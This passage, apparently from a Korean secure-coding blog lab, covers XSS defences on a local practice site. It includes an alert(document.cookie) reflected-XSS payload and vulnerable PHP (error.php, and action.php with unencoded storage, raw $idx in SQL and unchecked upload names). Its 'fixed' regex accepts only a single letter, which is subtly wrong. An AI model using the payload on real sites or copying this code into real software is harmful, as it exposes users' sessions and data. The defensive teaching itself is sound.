&lt;td style=&quot;width: 36.2791%; text-align: center;&quot;&gt;OWASP ESAPI&lt;/td&gt;
&lt;td style=&quot;width: 39.7674%; text-align: center;&quot;&gt;JAVA, PHP, ASP.NET...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 36.2791%; text-align: center;&quot;&gt;LUCY XSS&lt;/td&gt;
&lt;td style=&quot;width: 39.7674%; text-align: center;&quot;&gt;JAVA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 36.2791%; text-align: center;&quot;&gt;HTML Purifier&lt;/td&gt;
&lt;td style=&quot;width: 39.7674%; text-align: center;&quot;&gt;PHP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 36.2791%; text-align: center;&quot;&gt;AntiXSS&lt;/td&gt;
&lt;td style=&quot;width: 39.7674%; text-align: center;&quot;&gt;ASP.NET&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML Purifier 적용 레퍼런스 URL: &lt;a href=&quot;https://gist.github.com/kijin/5829736&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kijin/5829736&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응 방안(3) : HTML Entiry Encoding&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 를 막기 위한 근본적인 방법, 원래 보안 목적으로 사용하지 않았으며 단순 메타 문자를 출력하기 위해 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML Entity Code 표&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 63.3721%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;문자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;엔티티&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;amp;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;lt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;&quot;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;#34; 혹은 &amp;amp;quot;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;'&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;#39; 혹은 &amp;amp;apos;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;#40;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.7981%; text-align: center;&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.574%; text-align: center;&quot;&gt;&lt;b&gt;&amp;amp;#41;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML Entity Code 표 참고 URL :&amp;nbsp; &lt;a href=&quot;https://ascii.cl/htmlcodes.htm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ascii.cl/htmlcodes.htm&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;721&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IThnL/btsLUFbNHsF/IIo7GHmTKvRi8Owc7dImp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IThnL/btsLUFbNHsF/IIo7GHmTKvRi8Owc7dImp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IThnL/btsLUFbNHsF/IIo7GHmTKvRi8Owc7dImp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIThnL%2FbtsLUFbNHsF%2FIIo7GHmTKvRi8Owc7dImp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1224&quot; height=&quot;721&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;721&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s7iSD/btsLUgKf2EX/v6SHVVfS98zpDIpcMcMKL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s7iSD/btsLUgKf2EX/v6SHVVfS98zpDIpcMcMKL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s7iSD/btsLUgKf2EX/v6SHVVfS98zpDIpcMcMKL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs7iSD%2FbtsLUgKf2EX%2Fv6SHVVfS98zpDIpcMcMKL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1229&quot; height=&quot;421&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-6 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/insecure_website에 접속 후 임의의 계정으로 로그인 후 My Page에 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL의 page 부분에 mypage 말고 다른 값을 입력해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;894&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOyEse/btsLVy33rIJ/oSYf3sfLPd3L5KRFoq0211/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOyEse/btsLVy33rIJ/oSYf3sfLPd3L5KRFoq0211/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOyEse/btsLVy33rIJ/oSYf3sfLPd3L5KRFoq0211/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOyEse%2FbtsLVy33rIJ%2FoSYf3sfLPd3L5KRFoq0211%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;894&quot; height=&quot;764&quot; data-origin-width=&quot;894&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qfq6e/btsLVKXqTaW/w7Yunhulfq6Wf6DbKB0efk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qfq6e/btsLVKXqTaW/w7Yunhulfq6Wf6DbKB0efk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qfq6e/btsLVKXqTaW/w7Yunhulfq6Wf6DbKB0efk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQfq6e%2FbtsLVKXqTaW%2Fw7Yunhulfq6Wf6DbKB0efk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;359&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 에러 페이지에 대해 사용자 입력값을 그대로 출력하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 Reflected XSS 공격이 가능한 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 value 에 XSS 스크립트를 사용하면 아래와 같이 세션값이 에러 메시지로 출력되어 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt; 를 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bE447Q/btsLV1xTNaa/7VMZHyBACzjLbFFJTmntt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bE447Q/btsLV1xTNaa/7VMZHyBACzjLbFFJTmntt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bE447Q/btsLV1xTNaa/7VMZHyBACzjLbFFJTmntt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbE447Q%2FbtsLV1xTNaa%2F7VMZHyBACzjLbFFJTmntt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1289&quot; height=&quot;254&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩을하기 위해 아래 경로에서 error.php 파일을 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; error.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737462944517&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  include_once(&quot;./common.php&quot;);
  $value = $_GET[&quot;value&quot;];
?&amp;gt;
    &amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
      &amp;lt;h1 class=&quot;display-4&quot;&amp;gt;&quot;&amp;lt;?=$value?&amp;gt;&quot; Page Not Found&amp;lt;/h1&amp;gt;
      &amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 보면 value 값을 받아서 그대로 출력하는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 페이지에 그대로 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 사이트 사용 시 페이지 이름에는 특수문자를 사용하지 않는다는 것을 알게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS 공격이 발생하기 위한 핵심 조건이 꺽쇠 &amp;lt;, &amp;gt; 를 사용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 이름에 특수문자를 사용하지 않기 때문에 정규표현식을 사용하여 a-zA-Z 조건을 추가하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식을 사용하여 허용한 문자만 pass 하도록 소스코드를 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안담당자의 경우 해당 웹 페이지 이름이 허용하는 문자열의 범위를 개발자와 협의하여 XSS 가 발생하지 않도록 소스코드를 수정하도록 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; error.php 시큐어 코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737562267061&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  include_once(&quot;./common.php&quot;);
  $value = $_GET[&quot;value&quot;];

  if(!preg_match(&quot;/^[a-zA-Z]$/&quot;, $value)){
    echo &quot;&amp;lt;script&amp;gt;alert('정상적인 입력 값이 아닙니다.');history.back(-1)&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

?&amp;gt;
    &amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
      &amp;lt;h1 class=&quot;display-4&quot;&amp;gt;&quot;&amp;lt;?=$value?&amp;gt;&quot; Page Not Found&amp;lt;/h1&amp;gt;
      &amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식을 사용하여 a부터 z 까지 문자열만 허용하고, 다른 문자를 입력하면 경고창을 띄우는 코드를 작성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 이전의 에러페이지로 가서 value 부분에 특수문자를 삽입하면 아래와 같이 경고창이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beooQt/btsLV6Hbztn/yqlEiyTVDKA0GZaXwDE0sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beooQt/btsLV6Hbztn/yqlEiyTVDKA0GZaXwDE0sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beooQt/btsLV6Hbztn/yqlEiyTVDKA0GZaXwDE0sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeooQt%2FbtsLV6Hbztn%2FyqlEiyTVDKA0GZaXwDE0sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;895&quot; height=&quot;226&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판의 action.php (글쓰기, 수정, 삭제를 담당하는 코드) 가 XSS 에 취약하므로 소스코드를 확인해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS 는 일반적으로 게시판에 악성 스크립트를 삽입 후, 해당 악성 스크립트가 DB에 저장되어 있다가 사용자가 게시글을 통해 악성 스크립트를 확인하게 되어 발생하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS 는 DB에 대응방안을 적용할 때 두 가지 방식이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. DB에 입력하기 전에 대응방안 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. DB에서 출력할 때 대응방안 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번은 DB에 저장하기 전에 HTML Entity Encoding 을 적용하여 저장하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번은 DB에 저장할때는 문자열을 그대로 저장 후, 출력할 때 HTML Entity Encoding을 적용하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS로 부터 안전하기 위해서는 1번 방식을 추천한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번 방식을 사용하는 경우, 출력할 때 HTML Entity Encoding을 적용한다 하더라도 게시판의 최근 게시글 기능에 의해 XSS 공격이 발생되는 경우가 있다. (게시판 목록, 상세보기에서는 XSS 가 발생하지 않지만, 메인 화면의 최근 게시글을 보면 XSS 가 발생함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번 방식을 사용하는 경우, 출력되는 포지션이 파악이 되어야 하며, 각 출력 위치마다 대응방안 적용을 일일히 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 아예 DB에 저장하기 전에 HTML Entity Encoding 을 적용하여 안전하게 데이터를 저장하는 것을 추천한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 의 insert 와 update 부분에 대해서 대응방안을 적절히 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값에 대해 허용할 문자, 특수문자, 숫자 등을 사전에 분류해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 소스코드 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737564195654&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = $db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]);
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]);
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content =$db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = $db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]);
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = $db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = $_POST[&quot;oldfile&quot;];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}		

		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);

		$query = &quot;update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}				
		
		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 소스코드를 보면 title(제목), writer(작성자) 에 꺽쇠 &amp;lt;, &amp;gt; 는 사용되지 않기 때문에, 필터링 해도 될 것 같다. (HTML 태그가 사용되지 않을 부분을 확인)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 content(게시글 내용)는 HTML 태그를 사용하는 부분이 상당히 많다. content 에는 보안라이브러리를 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목, 작성자 등 HTML 태그가 필요없는 부분에는 일괄적으로 HTML Entity Encoding을 적용할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 변수에 일일이 적용하는 것보다는, 함수를 선언해서 일괄로 적용하는 것이 더 효율적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;common.php 를 열고 HTML Entity Encoding 함수를 선언해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; common.php &amp;gt;&lt;/p&gt;
